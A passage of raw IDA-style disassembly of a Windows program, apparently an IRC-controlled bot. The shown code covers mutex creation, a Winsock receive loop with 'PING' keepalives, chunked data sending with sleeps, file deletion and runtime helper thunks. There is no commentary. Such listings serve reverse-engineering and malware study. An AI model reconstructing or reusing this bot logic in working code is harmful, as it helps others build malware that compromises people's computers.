eax lea eax, [ebp+var_18B0] push eax mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp+var_19B4] push eax push offset dword_41DA58 lea eax, [ebp+var_17A8] push eax call sub_416B5E ; sprintf add esp, 18h mov [ebp+var_18B4], eax mov eax, 180h sub eax, [ebp+var_18B4] push eax push [ebp+var_4] mov eax, [ebp+var_18B4] lea eax, [ebp+eax+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_4165AD jmp loc_416655 ; --------------------------------------------------------------------------- loc_4165AD: ; CODE XREF: sub_415F69+63Dj mov eax, 180h sub eax, [ebp+var_18B4] dec eax mov [ebp+var_17B0], eax loc_4165BF: ; CODE XREF: sub_415F69+6C7j mov eax, [ebp+var_17B0] cmp eax, [ebp+var_17AC] jnb short loc_416632 push 180h mov eax, [ebp+var_4] add eax, [ebp+var_17B0] push eax lea eax, [ebp+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_41661F jmp short loc_416653 ; --------------------------------------------------------------------------- loc_41661F: ; CODE XREF: sub_415F69+6B2j mov eax, [ebp+var_17B0] add eax, 17Fh mov [ebp+var_17B0], eax jmp short loc_4165BF ; --------------------------------------------------------------------------- loc_416632: ; CODE XREF: sub_415F69+35Bj ; sub_415F69+42Aj ... jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416637: ; CODE XREF: sub_415F69+2A9j ; sub_415F69:loc_416229j ... push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp short loc_416657 ; --------------------------------------------------------------------------- loc_416653: ; CODE XREF: sub_415F69+6B4j jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416655: ; CODE XREF: sub_415F69+63Fj jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416657: ; CODE XREF: sub_415F69+70j ; sub_415F69+BDj ... pop edi leave retn 4 sub_415F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41665C proc near ; CODE XREF: sub_40A9CF+9FEp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push 3ABh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41667B jmp locret_41670F ; --------------------------------------------------------------------------- loc_41667B: ; CODE XREF: sub_41665C+18j cmp [ebp+arg_4], 0 jz short loc_41668F push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax jmp short loc_416696 ; --------------------------------------------------------------------------- loc_41668F: ; CODE XREF: sub_41665C+23j mov [ebp+var_8], 3 loc_416696: ; CODE XREF: sub_41665C+31j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+4], ecx cmp [ebp+arg_8], 0 jz short loc_4166AD mov eax, [ebp+arg_8] mov [ebp+var_C], eax jmp short loc_4166B4 ; --------------------------------------------------------------------------- loc_4166AD: ; CODE XREF: sub_41665C+47j mov [ebp+var_C], offset byte_41DF00 loc_4166B4: ; CODE XREF: sub_41665C+4Fj push 200h push [ebp+var_C] mov eax, [ebp+var_4] add eax, 8 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 208h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+4] push offset dword_41DAC0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_415F69 call sub_4095A4 add esp, 14h locret_41670F: ; CODE XREF: sub_41665C+1Aj leave retn sub_41665C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416711 proc near ; CODE XREF: sub_4167B9+6p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41673B push [ebp+var_4] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_41673D ; --------------------------------------------------------------------------- loc_41673B: ; CODE XREF: sub_416711+1Aj xor eax, eax locret_41673D: ; CODE XREF: sub_416711+28j leave retn sub_416711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41673F proc near ; CODE XREF: sub_40A9CF+C23p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41679C push 2 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B76 ; ftell pop ecx mov [ebp+var_8], eax push 0 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_8] inc eax neg eax sbb eax, eax and eax, [ebp+var_8] jmp short locret_41679E ; --------------------------------------------------------------------------- loc_41679C: ; CODE XREF: sub_41673F+1Bj xor eax, eax locret_41679E: ; CODE XREF: sub_41673F+5Bj leave retn sub_41673F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A0 proc near ; CODE XREF: sub_4167B9+13p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170AC ; DeleteFileA test eax, eax jz short loc_4167B5 push 1 pop eax jmp short loc_4167B7 ; --------------------------------------------------------------------------- loc_4167B5: ; CODE XREF: sub_4167A0+Ej xor eax, eax loc_4167B7: ; CODE XREF: sub_4167A0+13j pop ebp retn sub_4167A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167B9 proc near ; CODE XREF: sub_402698+1D9p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416711 pop ecx test eax, eax jz short loc_4167D9 push [ebp+arg_0] call sub_4167A0 pop ecx neg eax sbb eax, eax inc eax jmp short loc_4167DB ; --------------------------------------------------------------------------- loc_4167D9: ; CODE XREF: sub_4167B9+Ej xor eax, eax loc_4167DB: ; CODE XREF: sub_4167B9+1Ej pop ebp retn sub_4167B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167DD proc near ; CODE XREF: sub_40A9CF+8E9p var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_4], eax leave retn sub_4167DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4167F1 proc near ; DATA XREF: BrattyUS:00420010o var_12F4 = dword ptr -12F4h var_12F0 = dword ptr -12F0h var_12EC = byte ptr -12ECh var_115C = byte ptr -115Ch var_1128 = dword ptr -1128h var_1121 = byte ptr -1121h var_1120 = byte ptr -1120h var_101C = dword ptr -101Ch var_1018 = byte ptr -1018h var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417298 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_416BC0 push ebx push esi push edi mov [ebp+var_18], esp push 2 call dword_4170F4 ; SetErrorMode and [ebp+var_4], 0 push dword_41DB04 push dword_41DB00 push 3B7h push dword_41DAFC push 0 push dword_41DAF8 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp+var_115C] push eax call sub_416B5E ; sprintf add esp, 20h and [ebp+var_1128], 0 jmp short loc_416875 ; --------------------------------------------------------------------------- loc_416868: ; CODE XREF: sub_4167F1:loc_4168BAj mov eax, [ebp+var_1128] inc eax mov [ebp+var_1128], eax loc_416875: ; CODE XREF: sub_4167F1+75j cmp [ebp+var_1128], 0Ah jnz short loc_416883 call sub_407148 loc_416883: ; CODE XREF: sub_4167F1+8Bj push 3E8h call dword_41709C ; Sleep lea eax, [ebp+var_115C] push eax push 0 push 0 call dword_4170F8 ; CreateMutexA mov [ebp+var_12F0], eax cmp [ebp+var_12F0], 0 jz short loc_4168BA call dword_417064 ; RtlGetLastWin32Error test eax, eax jnz short loc_4168BA jmp short loc_4168BC ; --------------------------------------------------------------------------- loc_4168BA: ; CODE XREF: sub_4167F1+BBj ; sub_4167F1+C5j jmp short loc_416868 ; --------------------------------------------------------------------------- loc_4168BC: ; CODE XREF: sub_4167F1+C7j call sub_403BD3 call sub_405FA3 call sub_40938F call sub_412FC6 call sub_4102AE call sub_40E979 push 10h push offset dword_41DAF8 call sub_41055F pop ecx pop ecx push 10h push offset dword_41DAF8 call sub_40ECEB pop ecx pop ecx push 10h push offset dword_41DAF8 call sub_40ED6E pop ecx pop ecx call sub_410422 mov dword_41ED00, eax call sub_410422 mov dword_41ED04, eax call sub_410422 mov dword_41ED08, eax call sub_410422 mov dword_41ED0C, eax push 104h lea eax, [ebp+var_1120] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA test eax, eax jnz short loc_416961 push offset byte_41DF00 push offset dword_41EBFC call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_4169E1 ; --------------------------------------------------------------------------- loc_416961: ; CODE XREF: sub_4167F1+158j lea eax, [ebp+var_1120] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_12F4], eax jmp short loc_416983 ; --------------------------------------------------------------------------- loc_416976: ; CODE XREF: sub_4167F1:loc_4169DFj mov eax, [ebp+var_12F4] dec eax mov [ebp+var_12F4], eax loc_416983: ; CODE XREF: sub_4167F1+183j cmp [ebp+var_12F4], 0 jnz short loc_41699F push offset byte_41DF00 push offset dword_41EBFC call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_41699F: ; CODE XREF: sub_4167F1+199j mov eax, [ebp+var_12F4] movsx eax, [ebp+eax+var_1121] cmp eax, 5Ch jnz short loc_4169DF mov eax, [ebp+var_12F4] lea eax, [ebp+eax+var_1120] push eax push offset dword_41EBFC call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EBFC push offset dword_41ED10 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: sub_4167F1+1BFj jmp short loc_416976 ; --------------------------------------------------------------------------- loc_4169E1: ; CODE XREF: sub_4167F1+16Bj ; sub_4167F1+1ACj ... call sub_406E8E lea eax, [ebp+var_12EC] push eax push 202h call dword_417264 ; WSAStartup loc_4169F8: ; CODE XREF: sub_4167F1+252j ; sub_4167F1+2B6j push 0 push 0 push 0 call sub_40D366 add esp, 0Ch call sub_409226 and dword ptr [ebp-1124h], 0 and [ebp+var_101C], 0 loc_416A19: ; CODE XREF: sub_416ADB+7j mov [ebp+var_4], 1 loc_416A20: ; CODE XREF: sub_4167F1:loc_416A6Fj ; sub_4167F1+2CFj push 0EA60h call sub_40CF25 push eax call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_416A71 cmp [ebp+var_101C], 19h jnz short loc_416A45 and [ebp+var_4], 0 jmp short loc_4169F8 ; --------------------------------------------------------------------------- loc_416A45: ; CODE XREF: sub_4167F1+24Cj cmp [ebp+var_101C], 14h jnz short loc_416A62 call sub_410422 push eax push offset aPing08x ; "PING :%08X" call sub_40D6CB pop ecx pop ecx jmp short loc_416A6F ; --------------------------------------------------------------------------- loc_416A62: ; CODE XREF: sub_4167F1+25Bj mov eax, [ebp+var_101C] inc eax mov [ebp+var_101C], eax loc_416A6F: ; CODE XREF: sub_4167F1+26Fj jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_416A71: ; CODE XREF: sub_4167F1+243j push 1000h lea eax, [ebp+var_1018] push eax call sub_40CF25 push eax call sub_4053DC add esp, 0Ch mov [ebp-1124h], eax cmp dword ptr [ebp-1124h], 0 jz short loc_416AA3 cmp dword ptr [ebp-1124h], 0FFFFFFFFh jnz short loc_416AAC loc_416AA3: ; CODE XREF: sub_4167F1+2A7j and [ebp+var_4], 0 jmp loc_4169F8 ; --------------------------------------------------------------------------- loc_416AAC: ; CODE XREF: sub_4167F1+2B0j and [ebp+var_101C], 0 lea eax, [ebp+var_1018] push eax call sub_40E943 pop ecx jmp loc_416A20 sub_4167F1 endp ; =============== S U B R O U T I N E ======================================= sub_416AC5 proc near ; DATA XREF: BrattyUS:004172A8o push offset aLoop ; "loop" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn sub_416AC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416ADB proc near ; DATA XREF: BrattyUS:004172ACo mov esp, [ebp-18h] and dword ptr [ebp-4], 0 jmp loc_416A19 sub_416ADB endp ; --------------------------------------------------------------------------- push offset aEntry ; "entry" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] or dword ptr [ebp-4], 0FFFFFFFFh cmp dword_41DF08, 0 jz short loc_416B1E push offset dword_41DE2C push offset dword_41DB88 call sub_40D4AB pop ecx pop ecx loc_416B1E: ; CODE XREF: BrattyUS:00416B0Bj call dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B3A proc near ; CODE XREF: sub_401000+3Cp ; sub_4020C2+62p ... jmp dword_41712C sub_416B3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B40 proc near ; CODE XREF: sub_401146+7Ap ; sub_4017AA+Ep ... jmp dword_4171BC sub_416B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B46 proc near ; CODE XREF: sub_401244+85p ; sub_4017AA+22p ... jmp dword_4171B8 sub_416B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B4C proc near ; CODE XREF: sub_401244+25p ; sub_401244+4DEp ... jmp dword_4171B4 sub_416B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B52 proc near ; CODE XREF: sub_401244+1Ap ; sub_401981+18p ... jmp dword_4171B0 sub_416B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B58 proc near ; CODE XREF: sub_4017AA+5Ap ; sub_4024F3+88p ... jmp dword_4171AC sub_416B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B5E proc near ; CODE XREF: sub_4018AF+9Fp ; sub_4055E5+231p ... jmp dword_4171A8 sub_416B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B64 proc near ; CODE XREF: sub_4018AF+3Bp ; sub_4018AF+5Dp ... jmp dword_4171A4 sub_416B64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B6A proc near ; CODE XREF: sub_401981+145p ; sub_401981+158p ... jmp dword_4171A0 sub_416B6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B70 proc near ; CODE XREF: sub_401D6E+A5p ; sub_403260+4Cp ... jmp dword_41719C sub_416B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B76 proc near ; CODE XREF: sub_401E38+1ABp ; sub_4020C2+1A6p ... jmp dword_417198 sub_416B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B7C proc near ; CODE XREF: sub_401E38+179p ; sub_402698+24Cp ... jmp dword_417194 sub_416B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B82 proc near ; CODE XREF: sub_401E38+9Dp ; sub_401E38+262p ... jmp dword_417190 sub_416B82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B88 proc near ; CODE XREF: sub_401E38+42p ; sub_4020C2+159p ... jmp dword_41718C sub_416B88 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B90 proc near ; CODE XREF: sub_4020C2+2C1p ; sub_41102F+94p ... jmp dword_417188 sub_416B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B96 proc near ; CODE XREF: sub_4020C2+198p ; sub_4020C2+1BCp ... jmp dword_417184 sub_416B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B9C proc near ; CODE XREF: sub_4024F3+26p ; sub_4024F3+46p ... jmp dword_417180 sub_416B9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA2 proc near ; CODE XREF: sub_402698+160p ; sub_40CA29+F6p ... jmp dword_41717C sub_416BA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA8 proc near ; CODE XREF: sub_402698+CCp ; sub_402698+110p ... jmp dword_417178 sub_416BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BAE proc near ; CODE XREF: sub_402698+4Bp ; sub_4083AD+3DFp ... jmp dword_417174 sub_416BAE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416BC0 proc near ; CODE XREF: sub_403DF3+8p ; sub_40546E+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_416BE0 loc_416BCC: ; CODE XREF: sub_416BC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_416BCC loc_416BE0: ; CODE XREF: sub_416BC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_416BC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF0 proc near ; CODE XREF: sub_4041B7+Dp ; sub_4041B7+28p ... jmp dword_417170 sub_416BF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF6 proc near ; CODE XREF: sub_406041+67p jmp dword_41716C sub_416BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BFC proc near ; CODE XREF: sub_406E8E+2B3p ; BrattyUS:00416B26p jmp dword_417168 sub_416BFC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C10 proc near ; CODE XREF: sub_40821B+61p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_416C31 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_416C81 ; --------------------------------------------------------------------------- loc_416C31: ; CODE XREF: sub_416C10+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_416C3F: ; CODE XREF: sub_416C10+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416C3F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_416C6A cmp edx, [esp+4+arg_4] ja short loc_416C6A jb short loc_416C72 cmp eax, [esp+4+arg_0] jbe short loc_416C72 loc_416C6A: ; CODE XREF: sub_416C10+4Aj ; sub_416C10+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_416C72: ; CODE XREF: sub_416C10+52j ; sub_416C10+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_416C81: ; CODE XREF: sub_416C10+1Fj pop ebx retn 10h sub_416C10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C90 proc near ; CODE XREF: sub_40821B+30p ; sub_40821B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_416CB2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_416CF3 ; --------------------------------------------------------------------------- loc_416CB2: ; CODE XREF: sub_416C90+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_416CC0: ; CODE XREF: sub_416C90+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416CC0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_416CEE cmp edx, [esp+8+arg_4] ja short loc_416CEE jb short loc_416CEF cmp eax, [esp+8+arg_0] jbe short loc_416CEF loc_416CEE: ; CODE XREF: sub_416C90+4Ej ; sub_416C90+54j dec esi loc_416CEF: ; CODE XREF: sub_416C90+56j ; sub_416C90+5Cj xor edx, edx mov eax, esi loc_416CF3: ; CODE XREF: sub_416C90+20j pop esi pop ebx retn 10h sub_416C90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CF8 proc near ; CODE XREF: sub_4088FC+1FAp ; sub_409226+5Cp ... jmp dword_417164 sub_416CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CFE proc near ; CODE XREF: sub_409226+55p ; sub_4092A4+55p ... jmp dword_417160 sub_416CFE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_409226+42p ; sub_4092A4+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_416D31 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_416D31: ; CODE XREF: sub_416D10+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_416D4D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_416D4D: ; CODE XREF: sub_416D10+27j or eax, eax jnz short loc_416D69 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_416DAA ; --------------------------------------------------------------------------- loc_416D69: ; CODE XREF: sub_416D10+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_416D77: ; CODE XREF: sub_416D10+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_416D77 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_416DA5 cmp edx, [esp+0Ch+arg_4] ja short loc_416DA5 jb short loc_416DA6 cmp eax, [esp+0Ch+arg_0] jbe short loc_416DA6 loc_416DA5: ; CODE XREF: sub_416D10+85j ; sub_416D10+8Bj dec esi loc_416DA6: ; CODE XREF: sub_416D10+8Dj ; sub_416D10+93j xor edx, edx mov eax, esi loc_416DAA: ; CODE XREF: sub_416D10+57j dec edi jnz short loc_416DB4 neg edx neg eax sbb edx, 0 loc_416DB4: ; CODE XREF: sub_416D10+9Bj pop ebx pop esi pop edi retn 10h sub_416D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DBA proc near ; DATA XREF: sub_4093B6+Ao ; sub_4094E6+Ao ... jmp dword_41715C sub_416DBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC0 proc near ; CODE XREF: sub_409479+41p ; sub_4095A4+162p jmp dword_417158 sub_416DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC6 proc near ; CODE XREF: sub_4095A4+11Bp jmp dword_417154 sub_416DC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DCC proc near ; CODE XREF: sub_409CB1+105p ; sub_409CB1+114p ... jmp dword_417150 sub_416DCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD2 proc near ; CODE XREF: sub_409CB1+42p ; sub_409CB1+88p jmp dword_41714C sub_416DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD8 proc near ; CODE XREF: sub_409CB1+1Ap ; sub_409DD0+13Bp jmp dword_417148 sub_416DD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DDE proc near ; CODE XREF: sub_40A2D2+13Ep ; sub_40A9CF+1F6p ... jmp dword_417144 sub_416DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DE4 proc near ; CODE XREF: sub_40A8AD+90p jmp dword_417140 sub_416DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DEA proc near ; CODE XREF: sub_40A9CF+185Cp jmp dword_41713C sub_416DEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF0 proc near ; CODE XREF: sub_40D420+47p ; sub_40D4AB+50p ... jmp dword_417138 sub_416DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF6 proc near ; CODE XREF: sub_40EF59+6Bp ; sub_40EF59+C1p jmp dword_417134 sub_416DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DFC proc near ; CODE XREF: sub_40F040+52p ; sub_40F040+A8p jmp dword_417130 sub_416DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E02 proc near ; CODE XREF: sub_40F040+1Ep jmp dword_417128 sub_416E02 endp ; --------------------------------------------------------------------------- loc_416E08: ; CODE XREF: BrattyUS:00416FE2j jmp dword_417124 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_414EF4+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_416E10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E30 proc near ; CODE XREF: sub_4048EF+4Ep ; sub_4048EF+2CFp ... jmp dword_4171F8 sub_416E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E40 proc near ; CODE XREF: sub_414EF4+EAp ; sub_414EF4+1E2p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_416EAF retn 4 sub_416E40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E4E proc near ; CODE XREF: sub_414EF4+134p ; sub_414EF4+2D8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_416EA0 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_41DEA0 push eax call dword ptr [ecx] test eax, eax jl short loc_416EA0 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_416EA0 lea eax, [ebp+var_4] push eax push 0 call dword_4171C8 test eax, eax jz short loc_416EA0 and [ebp+var_4], 0 loc_416EA0: ; CODE XREF: sub_416E4E+Dj ; sub_416E4E+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_416EAF leave retn 0Ch sub_416E4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EAF proc near ; CODE XREF: sub_416E40+6p ; sub_416E4E+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_416ED3 lea eax, [ebp+var_10] push offset dword_4173B8 push eax call sub_416FA2 ; _CxxThrowException sub_416EAF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416ED3 proc near ; CODE XREF: sub_416EAF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4172B4 test eax, eax mov [esi+8], eax jz short loc_416EFF cmp [esp+4+arg_8], 0 jz short loc_416EFF mov ecx, [eax] push eax call dword 